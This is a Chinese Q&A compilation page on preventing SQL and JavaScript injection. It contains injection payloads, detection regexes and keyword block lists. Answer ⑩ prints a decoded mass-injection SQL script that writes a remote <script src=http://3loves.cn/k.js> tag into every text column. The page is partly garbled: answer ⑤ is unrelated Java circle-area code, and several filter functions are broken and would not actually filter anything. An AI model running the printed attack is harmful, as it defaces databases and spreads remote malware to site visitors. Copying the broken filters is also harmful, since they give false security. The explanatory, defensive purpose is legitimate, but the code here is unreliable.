當前位置:首頁 » 編程語言 » js防止sql注入
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

js防止sql注入

發布時間: 2022-04-11 17:51:48

① 如何防止javascript注入攻擊

很多網站都有私信或者留言板功能。登錄用戶可以發表評論或者給其他用戶(包括管理員)發送私信。一個最簡單的模擬表單如下:

<form action="sendmessage.php" method="post'">
<textarea name="message"> </textarea>
<input type="submit" value="send" />
</form>

當用戶點擊發送時,這條消息會被保存在資料庫中指定的數據表中,另一個用戶當打開這條消息的時候將看到發送的內容。但是,如果一個惡意攻擊者發送的內容包含了一些javascript代碼,這些代碼用於偷取敏感的cookie信息。當用戶打開看到這條消息的時候,惡意的javascript代碼就會得到執行,造成敏感cookie信息泄漏。攻擊者可以利用獲得這些cookie信息進行session hijacking會話劫持,直接以合法用戶的身份登錄其他用戶的賬戶。
惡意攻擊者可以在消息框中加入一下javascript代碼:

② 用js寫一個防sql注入的 函數,能起到效果嗎

防止sql注入攻擊,在資料庫方面,針對每一個表的增刪改,寫存儲過程,程序主要靠存儲過程操作數據。 在代碼中,個別特殊需要數據查詢的,如果不能通過存儲過程,那就盡量用傳參的方式,盡量不要拼接sql。 如果非要拼接,要對拼接字元串進行處理,Tools的如下字元串處理方法可以防止注入攻擊: ///  /// 格式化文本(防止SQL注入) ///  ///  ///  public static string AntiSQL(string html) {     Regex regex一 = new Regex(@"<script[\s\S]+", RegexOptions.IgnoreCase);     Regex regex二 = new Regex(@" href *= *[\s\S]*script *:", RegexOptions.IgnoreCase);     Regex regex三 = new Regex(@" on[\s\S]*=", RegexOptions.IgnoreCase);     Regex regex四 = new Regex(@"<iframe[\s\S]+", RegexOptions.IgnoreCase);     Regex regex5 = new Regex(@"<frameset[\s\S]+", RegexOptions.IgnoreCase);     Regex regex一0 = new Regex(@"select", RegexOptions.IgnoreCase);     Regex regex一一 = new Regex(@"update", RegexOptions.IgnoreCase);     Regex regex一二 = new Regex(@"delete", RegexOptions.IgnoreCase);     html = regex一.Replace(html, ""); //過濾標記     html = regex二.Replace(html, ""); //過濾href=javascript: () 屬性     html = regex三.Replace(html, " _disibledevent="); //過濾其它控制項的on...事件     html = regex四.Replace(html, ""); //過濾iframe     html = regex一0.Replace(html, "s_elect");     html = regex一一.Replace(html, "u_pudate");     html = regex一二.Replace(html, "d_elete");     html = html.Replace("'", "』");     html = html.Replace(" ", " ");     return html;

③ 如何防止sql注入

對於jsp而言我們一般採取一下策略來應對:

1、PreparedStatement
如果你已經是稍有水平開發者,你就應該始終以PreparedStatement代替Statement.
以下是幾點原因
1)、代碼的可讀性和可維護性.
2)、PreparedStatement盡最大可能提高性能.
3)、最重要的一點是極大地提高了安全性.
到目前為止,有一些人(包括本人)連基本的惡義SQL語法都不知道.
String sql = "select * from tb_name where name= '"+varname+"' and passwd='"+varpasswd+"'";
如果我們把[' or '1' = '1]作為name傳入進來.密碼隨意,看看會成為什麼?
select * from tb_name = 'or '1' = '1' and passwd = '隨意' ;
因為'1'='1'肯定成立,所以可以任何通過驗證.更有甚者:
把['; drop table tb_name; ]作為varpasswd傳入進來,則:
select * from tb_name = '隨意' and passwd = ''; drop table tb_name; 有些資料庫是不會讓你成功的,但也有很多資料庫就可以使這些語句得到執行.
而如果你使用預編譯語句.你傳入的任何內容就不會和原來的語句發生任何匹配的關系.(前提是資料庫本身支持預編譯,但上前可能沒有什麼服務端資料庫不支持編譯了,只有少數的桌面資料庫,就是直接文件訪問的那些只要全使用預編譯語句,你就用不著對傳入的數據做任何過慮.而如果使用普通的 statement,有可能要對drop,; 等做費盡心機的判斷和過慮.

2、正則表達式
2.1、檢測SQL meta-characters的正則表達式 /(\%27)|(\')|(\-\-)|(\%23)|(#)/ix
2.2、修正檢測SQL meta-characters的正則表達式 /((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-) |(\%3B)|(:))/i
2.3、典型的 SQL 注入攻擊的正則表達式 /\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\ ))/ix
2.4、檢測SQL注入,UNION查詢關鍵字的正則表達式 /((\%27)|(\'))union/ix(\%27)|(\') - 單引號和它的hex等值union - union關鍵字。
2.5、檢測MS SQL Server SQL注入攻擊的正則表達式 /exec(\s|\+)+(s|x)p\w+/ix

3、字元串過濾
public static String filterContent(String content){
String flt ="'|and|exec|insert|select|delete|update|count|*|%
|chr|mid|master|truncate|char|declare|; |or|-|+|,";
Stringfilter[] = flt.split("|");
for(int i=0; i {
content.replace(filter[i], "");
}
return content;
}

4、不安全字元屏蔽
本部分採用js來屏蔽,起的作用很小,這樣用屏蔽關鍵字的方法雖然有一定作用,但是在實際應用中這些 SQL的關鍵字也可能成為真正的查詢關鍵字,到那是被你屏蔽了那用戶不是不能正常的使用了。 只要在代碼規范上下點功夫就可以了。
凡涉及到執行的SQL中有變數時,用JDBC(或者其他數據持久層)提供的如:PreparedStatement就可以 ,切記不要用拼接字元串的方法就可以了.
功能介紹:檢查是否含有"'","\\","/"
參數說明:要檢查的字元串
返回值:0:是 1:不是
函數名是
function check(a)
{
return 1;
fibdn = new Array ("'" ,"\\","/");
i=fibdn.length;
j=a.length;
for (ii=0; ii { for (jj=0; jj

{ temp1=a.charAt(jj);
temp2=fibdn[ii];
if (tem'; p1==temp2)
{ return 0; }
}
}
return 1;
}

④ 如何防止表單提交過來的惡意JS腳本和SQL注入

1、禁止外部提交數據2、禁止未命名變數使用3、精確獲取參數值類型,如有位數限制,再精確位數個數,其它全部輸出自己寫的錯誤提示以上3條足以在程序上實現防注入(不能防止伺服器或資料庫本身注入),具體怎麼寫是根據具體是哪種語言來寫的,可以網路那個語言的這三種方式要怎麼寫。

⑤ node js怎麼防止sql注入

public class Calcul {
public static void main(String[] args) {
circularArea();
}
public static void circularArea(){
int r=2;
float π=3.14f;
float circularArea = π*r*r;
System.out.println(circularArea);
}

⑥ 防範sql注入式攻擊js版本

js是客戶端的,要防sql注入式攻擊最安全的是使用伺服器端處理

⑦ html form post/get或JS window.location.href 傳值到控制器,如何防止SQL注入

1、禁止外部提交數據
2、禁止未命名變數使用
3、精確獲取參數值類型,如有位數限制,再精確位數個數,其它全部輸出自己寫的錯誤提示
以上3條足以在程序上實現防注入(不能防止伺服器或資料庫本身注入),具體怎麼寫是根據具體是哪種語言來寫的,可以網路那個語言的這三種方式要怎麼寫。

⑧ 怎麼修改語句防sql注入攻擊,我想把密碼換成列表的形式,怎麼操作

用戶名規則定為只能英文、數字,不支持特殊符號;用sql檢查前先過濾用戶名中的特殊字元。
密碼在資料庫中應該為md5形式,注冊的時候就將明文密碼md5後存儲在庫中。
在sql驗證前先將輸入的密碼用md5函數轉換一下,這樣出來的md5串都是合法字元不會干擾sql語句。資料庫用md5形式存密碼也防止密碼泄露。
搜搜 密碼+鹽 md5

不要相信任何能提交的東西,全要過濾一遍。所有過濾、校驗都在後台,靠前台js是攔不住curl偽造的。

⑨ aspx頁面怎麼防禦SQL注入JS碼

這個要從三方面入手。第一,要解決你編碼習慣不正確的問題,可以選擇標准編碼也可以使用新技術來預防注入,例如LINQ第二,頁面級驗證要嚴格。第三,可以使用URL重寫防止注入攻擊。

⑩ 尋求高手破解sql語句,sql注入防止方法!!

我來告訴你!
因為剛好攻擊我們的代碼也跟這類似
這段代碼是由字元串轉為16進制代碼而生成的。
你只要找個工具轉回來就全明白了

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://3loves.cn/k.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

這回看明白了吧
他利用你的資料庫連接用戶許可權過高的漏洞
通過創建動態sql,把你當前庫的所有數據表和欄位調出來,然後遍歷所有表和欄位,把那段<script src=http://3loves.cn/k.js></script>代碼更新進去。

那麼如何防止:
1、在你的腳本程序里禁止外部提交
2、對SQL注入做處理
3、降低資料庫連接用戶的許可權